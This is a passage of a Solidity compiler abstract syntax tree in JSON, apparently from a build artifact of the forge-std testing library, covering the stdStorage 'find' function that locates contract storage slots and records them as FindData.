},{"eventCall":{"arguments":[{"id":7998,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6111:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7999,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6116:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"arguments":[{"arguments":[{"id":8003,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6149:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8004,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6157:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8001,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6132:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8002,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6136:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6132:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6132:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8000,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6122:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8006,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6122:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"baseExpression":{"id":8009,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"6180:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8011,"indexExpression":{"id":8010,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"6186:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6180:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8008,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6172:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8007,"name":"uint256","nodeType":"ElementaryTypeName","src":"6172:7:8","typeDescriptions":{}}},"id":8012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6172:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7997,"name":"SlotFound","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7437,"src":"6101:9:8","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_bytes4_$_t_bytes32_$_t_uint256_$returns$__$","typeString":"function (address,bytes4,bytes32,uint256)"}},"id":8013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6101:89:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8014,"nodeType":"EmitStatement","src":"6096:94:8"},{"expression":{"id":8041,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":8015,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6208:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8026,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6213:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"6208:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":8027,"indexExpression":{"id":8017,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6219:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6208:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":8028,"indexExpression":{"id":8018,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6224:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6208:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":8029,"indexExpression":{"arguments":[{"arguments":[{"id":8022,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6257:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8023,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6265:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8020,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6240:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8021,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6244:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6240:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6240:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8019,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6230:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6230:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6208:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"baseExpression":{"id":8033,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"6319:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8035,"indexExpression":{"id":8034,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"6325:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6319:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8032,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6311:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8031,"name":"uint256","nodeType":"ElementaryTypeName","src":"6311:7:8","typeDescriptions":{}}},"id":8036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6311:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8037,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7942,"src":"6330:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8038,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"6342:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"74727565","id":8039,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"6355:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8030,"name":"FindData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7402,"src":"6302:8:8","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"type(struct FindData storage pointer)"}},"id":8040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6302:58:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_memory_ptr","typeString":"struct FindData memory"}},"src":"6208:152:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":8042,"nodeType":"ExpressionStatement","src":"6208:152:8"},{"id":8043,"nodeType":"Break","src":"6378:5:8"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7896,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5109:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":7897,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5113:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7898,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5119:6:8","memberName":"length","nodeType":"MemberAccess","src":"5113:12:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5109:16:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8045,"initializationExpression":{"assignments":[7893],"declarations":[{"constant":false,"id":7893,"mutability":"mutable","name":"i","nameLocation":"5102:1:8","nodeType":"VariableDeclaration","scope":8045,"src":"5094:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7892,"name":"uint256","nodeType":"ElementaryTypeName","src":"5094:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7895,"initialValue":{"hexValue":"30","id":7894,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5106:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"5094:13:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":7901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"5127:3:8","subExpression":{"id":7900,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5127:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7902,"nodeType":"ExpressionStatement","src":"5127:3:8"},"nodeType":"ForStatement","src":"5089:1309:8"}]},"id":8047,"nodeType":"IfStatement","src":"4947:1461:8","trueBody":{"id":7891,"nodeType":"Block","src":"4970:99:8","statements":[{"expression":{"arguments":[{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a204e6f2073746f726167652075736520646574656374656420666f72207461726765742e","id":7888,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4991:66:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_328ff448bebe6b9a52a670e66989b0a23c94fd0cbd86c30e5432c6ddc5340283","typeString":"literal_string \"stdStorage find(StdStorage): No storage use detected for target.\""},"value":"stdStorage find(StdStorage): No storage use detected for target."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_328ff448bebe6b9a52a670e66989b0a23c94fd0cbd86c30e5432c6ddc5340283","typeString":"literal_string \"stdStorage find(StdStorage): No storage use detected for target.\""}],"id":7887,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"4984:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":7889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4984:74:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7890,"nodeType":"ExpressionStatement","src":"4984:74:8"}]}},{"expression":{"arguments":[{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":8049,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6439:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8050,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6444:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"6439:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":8052,"indexExpression":{"id":8051,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6450:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6439:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":8054,"indexExpression":{"id":8053,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6455:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6439:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":8062,"indexExpression":{"arguments":[{"arguments":[{"id":8058,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6488:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8059,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6496:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8056,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6471:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8057,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6475:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6471:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6471:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8055,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6461:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6461:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6439:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":8063,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6511:5:8","memberName":"found","nodeType":"MemberAccess","referencedDeclaration":7401,"src":"6439:77:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a20536c6f74287329206e6f7420666f756e642e","id":8064,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6530:49:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_47c274d4780c7bff83310cd576005a97888a2b2935c22f84e1e5282c1bfb39a8","typeString":"literal_string \"stdStorage find(StdStorage): Slot(s) not found.\""},"value":"stdStorage find(StdStorage): Slot(s) not found."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_47c274d4780c7bff83310cd576005a97888a2b2935c22f84e1e5282c1bfb39a8","typeString":"literal_string \"stdStorage find(StdStorage): Slot(s) not found.\""}],"id":8048,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6418:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":8065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6418:171:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8066,"nodeType":"ExpressionStatement","src":"6418:171:8"},{"condition":{"id":8067,"name":"_clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7793,"src":"6604:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8073,"nodeType":"IfStatement","src":"6600:48:8","trueBody":{"id":8072,"nodeType":"Block","src":"6612:36:8","statements":[{"expression":{"arguments":[{"id":8069,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6632:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8068,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8735,"src":"6626:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":8070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6626:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8071,"nodeType":"ExpressionStatement","src":"6626:11:8"}]}},{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":8074,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6664:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8075,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6669:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"6664:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":8077,"indexExpression":{"id":8076,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6675:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6664:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":8079,"indexExpression":{"id":8078,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6680:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6664:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":8087,"indexExpression":{"arguments":[{"arguments":[{"id":8083,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6713:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8084,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6721:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8081,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6696:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8082,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6700:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6696:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6696:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8080,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6686:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6686:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6664:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"functionReturnParameters":7798,"id":8088,"nodeType":"Return","src":"6657:78:8"}]},"documentation":{"id":7788,"nodeType":"StructuredDocumentation","src":"3741:129:8","text":"@notice find an arbitrary storage slot given a function sig, input data, address of the contract and a value to check against"},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"4258:4:8","parameters":{"id":7794,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7791,"mutability":"mutable","name":"self","nameLocation":"4282:4:8","nodeType":"VariableDeclaration","scope":8090,"src":"4263:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7790,"nodeType":"UserDefinedTypeName","pathNode":{"id":7789,"name":"StdStorage","nameLocations":["4263:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"4263:10:8"},"referencedDeclaration":7427,"src":"4263:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7793,"mutability":"mutable","name":"_clear","nameLocation":"4293:6:8","nodeType":"VariableDeclaration","scope":8090,"src":"4288:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7792,"name":"bool","nodeType":"ElementaryTypeName","src":"4288:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"4262:38:8"},"returnParameters":{"id":7798,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7797,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8090,"src":"4319:16:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":7796,"nodeType":"UserDefinedTypeName","pathNode":{"id":7795,"name":"FindData","nameLocations":["4319:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"4319:8:8"},"referencedDeclaration":7402,"src":"4319:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct 